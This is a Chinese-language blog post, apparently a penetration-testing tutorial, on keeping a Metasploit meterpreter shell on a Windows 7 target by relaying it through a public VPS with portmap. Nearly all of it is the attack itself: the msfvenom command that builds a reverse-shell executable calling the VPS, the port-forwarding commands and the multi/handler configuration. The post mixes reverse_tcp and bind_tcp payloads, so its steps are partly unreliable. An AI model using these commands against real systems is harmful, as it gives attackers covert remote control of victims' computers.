前面的几期文章中,我们提到过利用 花生壳frp等搭建内网映射的方式。实现msf外网shell。但是这种方法不稳定,因为无论时那种方法都需要在本地运行客户端的支持。一旦客户端关闭我们建立的shell也就关闭了!今天来看看另外一种实现方案吧!

msfconsole端口转发

实验环境

  • Kali 2020(内网,攻击机)
  • VPS(公网IP,端口转发,"中转站")
  • Windows 7 sp1 (内网,靶机)
  • portmap (端口转发工具)

生成shell

msfvenom -p windows/meterpreter/reverse_tcp lhost=*.*.*.* lport=8181 -f exe > shell.exe

参数说明:

lhost :公网ip
lport :公网端口
ps:端口除去公共端口都行(22 80等…… ),这里就设置为8181

VPS监听端口及转发

在VPS使用 portmap工具进行端口转发,一开始可能会执行不了,先给portmap执行权限

chmod +x portmap        # 赋予执行权限 
./portmap -m 2 -p1 8181 -p2 5555    # 运行、监听

PS 将8181端口接收的内容转发到5555端口,也就是靶机连接到VPS的8181端口,攻击机连接到5555端口
端口转发

配置msf

msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/bind_tcp
msf5 exploit(multi/handler) > set RHOST [VPSIP]
msf5 exploit(multi/handler) > set LPORT 5555   # 端口设置为VPS转发的端口
msf5 exploit(multi/handler) > run

VPS配置端口转发,把8181端口转发到5555,相当于VPS的5555端口绑定了一个shell,等待我们去连接,所以这里使用正向连接 bind_tcp

运行shell

成功得到反弹

正向shell 理解

bind_tcp 这是一个基于TCP的正向连接shell(直连shell),将shell绑定到一个本地端口上,这样任何人都可以在本地网络中发送命令。靶机监听,等待攻击机连接,就像服务器的SSH一样,开启一个端口,等待连接

Last modification:October 20th, 2020 at 03:58 pm
正在沿街乞讨中……